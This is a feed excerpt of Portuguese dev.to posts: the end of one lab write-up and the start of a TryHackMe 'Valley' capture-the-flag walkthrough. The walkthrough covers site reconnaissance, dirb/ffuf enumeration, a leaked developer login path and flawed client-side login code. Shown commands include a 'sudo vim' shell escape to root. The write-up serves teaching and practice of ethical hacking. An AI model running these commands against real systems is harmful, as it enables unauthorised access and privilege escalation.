&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/vim &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;":!bash"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn1tjc31ljx1zw93f3ybm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn1tjc31ljx1zw93f3ybm.png" alt="Privilege Escalation" width="800" height="448"&gt;&lt;/a&gt;&lt;br&gt;
Portanto, foi possível ter acesso ao root e a última flag dessa máquina e mantendo assim um ciclo de ataques, numa perspectiva mais simples de um invasor.  Algo que já foi construído no texto mencionado mais acima: &lt;a href="https://dev.to/obtuosa/maquina-valley-do-tryhackme-e-o-ciclo-de-vida-de-um-ciberataque-mp6"&gt;&lt;strong&gt;Máquina Valley do TryHackMe e o ciclo de vida de um ciberataque&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;O princípio maior dessa máquina foi justamente ter um pouco de compreensão da interação entre as camadas , com foco no modelo OSI e observar o funcionamento, para além dos conceitos já existentes. Desde a camada de aplicação, no qual é o mais próximo do cliente e assim destrinchar os caminhos traçados, seja com ferramentas como nmap e ffuf, além de protocolos como IP, TCP, SSH e outros conceitos que foram abordados no decorrer do processo. Muitas vezes, nos prendemos a teoria e deixamos de lado a parte prática, que é justamente um fator importante para o processo de aprendizado.&lt;br&gt;
Te vejo na próxima jornada!&lt;/p&gt;

</description>
      <category>osi</category>
      <category>cve</category>
      <category>infosec</category>
      <category>network</category>
    </item>
    <item>
      <title>Máquina Valley do TryHackMe e o ciclo de vida de um ciberataque</title>
      <dc:creator>Obtuosa</dc:creator>
      <pubDate>Sun, 22 Sep 2024 15:26:33 +0000</pubDate>
      <link>https://forem.com/obtuosa/maquina-valley-do-tryhackme-e-o-ciclo-de-vida-de-um-ciberataque-mp6</link>
      <guid>https://forem.com/obtuosa/maquina-valley-do-tryhackme-e-o-ciclo-de-vida-de-um-ciberataque-mp6</guid>
      <description>&lt;p&gt;Quando se pensa em um ciberataque podemos imaginar principalmente sobre a metodologia utilizada por um determinado atacante. Desta maneira, traçar os passos que foram adotados até suceder o ataque é muito importante, se questionando sobre &lt;strong&gt;o que o atacante faria?&lt;/strong&gt; diante por exemplo de uma aplicação web, que é justamente o nosso alvo exemplo. O principal objetivo desse texto é dissecar o processo até o encontro das flags da hacking lab, mas assimilando com os conceitos de &lt;a href="https://www.iacpcybercenter.org/resource-center/what-is-cyber-crime/cyber-attack-lifecycle/" rel="noopener noreferrer"&gt;&lt;strong&gt;Cyber Attack Lifecycle&lt;/strong&gt;&lt;/a&gt;, já que podemos observar como o nosso atacante poderia operar nesse contexto. Logo, a ideia é trazer essa pequena percepção de um ciberataque do mundo real, mas de maneira bem &lt;strong&gt;simples&lt;/strong&gt; e é claro que de &lt;strong&gt;maneira legal&lt;/strong&gt;, com a room &lt;a href="https://tryhackme.com/r/room/valleype" rel="noopener noreferrer"&gt;&lt;strong&gt;Valley&lt;/strong&gt;&lt;/a&gt;, da plataforma TryHackMe.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;Antes de começar o processo de análise e resolução da máquina é importante explicar o que seria um Cyber Attack Lifecycle ou Attack Lifecycle (Ciclo de vida do ataque cibernético / Ciclo de vida do ataque), porque é justamente a partir dessa metodologia que se inicia os passos de invasão à máquina Valley.&lt;/p&gt;

&lt;p&gt;Uma metodologia na perspectiva de um hacking ético é basicamente mapear o processo de um ataque, de acordo com o contexto e objetivo do autor. Deste modo, iremos usar como base um modelo bem interessante: &lt;strong&gt;Attack Lifecycle&lt;/strong&gt;, através dele podemos observar de maneira detalhada o passo a passo do invasor.&lt;/p&gt;

&lt;h3&gt;
  
  
  Attack Lifecycle
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2fow7hmqzdt86i9yd7y7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2fow7hmqzdt86i9yd7y7.jpg" alt="Modelo de ciclo de um ataque" width="800" height="289"&gt;&lt;/a&gt;&lt;br&gt;
É muito interessante como este modelo descreve, de maneira sucinta e bastante objetiva como um explorador executa seu respectivo ataque. Uma curiosidade pontuada é que um possível ataque não é único, assim como é tratado no livro do &lt;strong&gt;Ric Messier&lt;/strong&gt; intitulado &lt;strong&gt;CEH v12 Certified Ethical Hacker Study Guide with 750 Practice Test Questions&lt;/strong&gt;, ou seja, muito provavelmente o mesmo não irá com objetivo de realizar apenas um ataque e pronto, o &lt;strong&gt;one-and-done&lt;/strong&gt;, mas sim a partir de um determinado ataque continuar buscando novas brechas. Neste processo iremos realizar a análise de etapa por etapa através da própria máquina juntamente com as definições.&lt;/p&gt;
&lt;h3&gt;
  
  
  Initial Recon
&lt;/h3&gt;

&lt;p&gt;O Initial Recon (reconhecimento inicial) é justamente o momento em que buscamos informações sobre o alvo. Dessa maneira, quais informações podemos retirar sobre a vítima? &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frqchu1349ai45ujtwap4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frqchu1349ai45ujtwap4.png" alt="Página inicial da Valley Photo" width="800" height="481"&gt;&lt;/a&gt;&lt;br&gt;
Aqui podemos ter algumas informações, a primeira é se tratando de uma empresa com foco em fotografias, a &lt;strong&gt;Valley Photo Co.&lt;/strong&gt;, uma aplicação web, que curiosamente é via &lt;a href="https://www.alura.com.br/artigos/http" rel="noopener noreferrer"&gt;&lt;strong&gt;HTTP&lt;/strong&gt;&lt;/a&gt;, com isso já podemos tirar que os dados ali transmitidos não são criptografados, com isso podemos tentar buscar informações de possíveis dados sensíveis,  além de possuir três rotas que são: &lt;strong&gt;/index.html&lt;/strong&gt;, &lt;strong&gt;/gallery/gallery.html&lt;/strong&gt; e &lt;strong&gt;/pricing/pricing.html&lt;/strong&gt;.&lt;br&gt;
O index.html nos trás as informações referentes a página principal da aplicação.&lt;br&gt;
No gallery.html temos algumas imagens que fazem parte também da rota &lt;strong&gt;/static/&lt;/strong&gt; de armazenamento de arquivos e que vai "&lt;strong&gt;hipoteticamente&lt;/strong&gt;" do 1 até até o 18.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8yr30ytf7eecxmgsrved.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8yr30ytf7eecxmgsrved.png" alt="Galeria de imagens" width="800" height="539"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb80wd2plq37h99f2tnu4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb80wd2plq37h99f2tnu4.png" alt="Rota /static e imagem 1" width="800" height="536"&gt;&lt;/a&gt;&lt;br&gt;
Enquanto no /pricing.html temos as informações dos valores cobrados pela empresa Valley e informações em uma nota misteriosa se for digitado apenas o IP do alvo + rota /pricing e que informa sobre uma pessoa chamada  RP que solicita  a J para parar de deixar notas em lugares aleatórios do website. Essa informação deduz que provavelmente terá informações expostas sobre a aplicação em algum lugar e que para isso teremos que usar alguma ferramenta para encontrá-las.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flvgnxcmvrbccuh17bhqa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flvgnxcmvrbccuh17bhqa.png" alt="Rota pricing" width="800" height="537"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk1e4djv7qart7mew7mwr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk1e4djv7qart7mew7mwr.png" alt="Index da rota pricing" width="800" height="539"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fimswizmzjewzo73p2vue.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fimswizmzjewzo73p2vue.png" alt="Nota.txt" width="800" height="534"&gt;&lt;/a&gt;&lt;br&gt;
Além disso, podemos presumir que a linguagem que está sendo executada nessa aplicação é &lt;strong&gt;Javascript&lt;/strong&gt; em virtude do que foi visto no inspect da aplicação e no próprio html.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65se3egrvrsreggffp31.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65se3egrvrsreggffp31.png" alt="inspect" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h4&gt;
  
  
  Ferramentas
&lt;/h4&gt;

&lt;p&gt;Com a finalização de um reconhecimento inicial mais simples, buscando informações próprias no alvo, iremos partir para a utilização de ferramentas como &lt;strong&gt;dirb&lt;/strong&gt;, &lt;strong&gt;ffuf&lt;/strong&gt;, etc., que possam primeiramente verificar as rotas, ou seja, uma &lt;strong&gt;enumeração&lt;/strong&gt;, para coletar informações sobre a aplicação, identificar as rotas que estão disponíveis, diretórios, qualquer informação oculta que possa contribuir no entendimento do alvo e formas de entrada para um ataque.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dirb http://alvo/ /usr/share/wordlists/dirb/common.txt
dirb http://alvo/pricing /usr/share/wordlists/dirb/common.txt
dirb http://alvo/gallery /usr/share/wordlists/dirb/common.txt


ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://alvo/FUZZ
ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://alvo/pricing/FUZZ
ffuf &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt &lt;span class="nt"&gt;-u&lt;/span&gt; http://alvo/gallery/FUZZ
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A principal informação estará justamente na rota /static.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsrqnd41976txsnif776t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsrqnd41976txsnif776t.png" alt="Ferramenta dirb" width="576" height="261"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhwb45nvvbmmvkx5ktb5e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhwb45nvvbmmvkx5ktb5e.png" alt="Ferramenta ffuf" width="677" height="410"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flvh6jnthqa3fypwm4ce0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flvh6jnthqa3fypwm4ce0.png" alt="dev notes" width="800" height="342"&gt;&lt;/a&gt;&lt;br&gt;
Aqui temos informações não muito usuais e que confirma a &lt;strong&gt;note.txt&lt;/strong&gt; de que teríamos uma nota perdida em algum lugar e é justamente a rota &lt;strong&gt;/static/00&lt;/strong&gt; que possui essa nota.  Alguns detalhes podem ser analisados aqui, primeiramente por serem tarefas destinadas a um dev da Valley e que foram solicitadas por outro com user ou referenciado por valleyDev. Dentre essas informações podemos tirar como principal o endereço de login &lt;strong&gt;/dev1243224123123&lt;/strong&gt;, que não foi removido pela pessoa e consequentemente estaria no ar ainda.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4411vmt4fed1wbkft28.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4411vmt4fed1wbkft28.png" alt="Tela de login" width="800" height="535"&gt;&lt;/a&gt;&lt;br&gt;
Usando as próprias ferramentas do navegador, que é o inspect e a análise da rede podemos tirar mais duas rotas que confirmam a utilização de &lt;strong&gt;Javascript&lt;/strong&gt; na aplicação. Se tentar usar as ferramentas anteriores terá dificuldade e provavelmente não irá setar essas rotas disponíveis.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv7eefpo6cg5htbtlp9ps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv7eefpo6cg5htbtlp9ps.png" alt="Inspect - Network" width="800" height="291"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Na rota /dev.js teremos um código bastante interessante:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loginForm&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;login-form&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loginButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;login-form-submit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loginErrorMsg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;login-error-msg&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;loginForm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;border&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;2px solid #ccc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginForm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;20px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;backgroundColor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#007bff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;border&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;none&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;borderRadius&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;5px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;color&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#fff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pointer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;10px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;loginButton&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;marginTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;10px&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isValidUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Username is valid&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid Username&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;isValidPassword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Password is valid&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid Password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;showErrorMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parentElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.error&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;display&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;block&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

